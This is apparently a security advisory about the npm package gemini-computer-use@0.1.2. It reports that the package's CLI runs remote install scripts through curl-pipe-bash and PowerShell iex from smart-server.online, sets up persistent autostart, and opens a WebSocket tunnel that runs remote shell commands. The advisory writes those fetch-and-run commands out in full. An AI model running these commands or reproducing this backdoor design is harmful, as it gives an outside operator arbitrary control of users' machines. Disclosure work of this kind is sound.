gemini-computer-use@0.1.2

Summary

The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL https://smart-server.online/install.sh | bash' on Unix and powershell -ExecutionPolicy Bypass running irm https://smart-server.online/install.ps1 | iex on Windows. The URL is mutable, unpinned, and served from a host distinct from the package's publisher repository; whoever controls smart-server.online controls what runs on the host at first launch. The fetched install.sh downloads core/agent.py, server.py, vitals.py, and skills/orchestrator.md from the same gateway (with a fallback to the mutable main branch of raw.githubusercontent.com/LevRa7/Computer-use-for-Gemini-App-Web), with no hash or signature verification, and wires them into systemd, launchd, or a Windows autostart entry for persistence across reboots. The persisted core/agent.py opens an outbound WebSocket to wss://smart-server.online/ws/tunnel?user=...&token=... and processes JSON-RPC tools/call messages; the bash_exec handler passes the incoming command field to subprocess.run(cmd, shell=True), giving the remote gateway operator arbitrary shell execution on the host. The gateway hostname is hardcoded as the default, and the token pair used for authentication is provided by that same gateway.

Source: amazon-inspector (0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847)